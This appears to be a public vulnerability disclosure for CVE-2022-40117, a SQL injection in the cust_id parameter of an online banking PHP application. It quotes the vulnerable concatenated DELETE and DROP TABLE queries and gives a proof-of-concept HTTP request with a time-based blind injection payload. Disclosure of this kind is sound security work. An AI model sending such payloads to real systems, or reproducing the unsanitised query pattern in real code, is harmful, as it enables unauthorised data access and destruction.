Headline
CVE-2022-40117: BugReport/sql_injection2.md at main · 0clickjacking0/BugReport
Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/delete_customer.php.
Permalink
Vulnerability file address
net-banking/delete_customer.php from line 16,The $_GET[‘cust_id’] parameter is controllable, the parameter cust_id can be passed through get, and the $_GET[‘cust_id’] is not protected from sql injection, line 36 if (($conn->query($sql0) === TRUE)) made a sql query,resulting in sql injection
… … … if (isset($_GET[‘cust_id’])) { $_SESSION[‘cust_id’] = $_GET[‘cust_id’]; }
$sql0 = "DELETE FROM customer WHERE cust\_id=".$\_SESSION\['cust\_id'\];
$sql1 = "DROP TABLE passbook".$\_SESSION\['cust\_id'\];
$sql2 = "DROP TABLE beneficiary".$\_SESSION\['cust\_id'\];
?> … … … <?php if (($conn->query($sql0) === TRUE)) { ?> … … …
POC
GET /net-banking/delete_customer.php?cust_id=666 AND 3629=BENCHMARK(5000000,MD5(0x7a6f6b4e)) HTTP/1.1 Host: www.bank.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1
Attack results pictures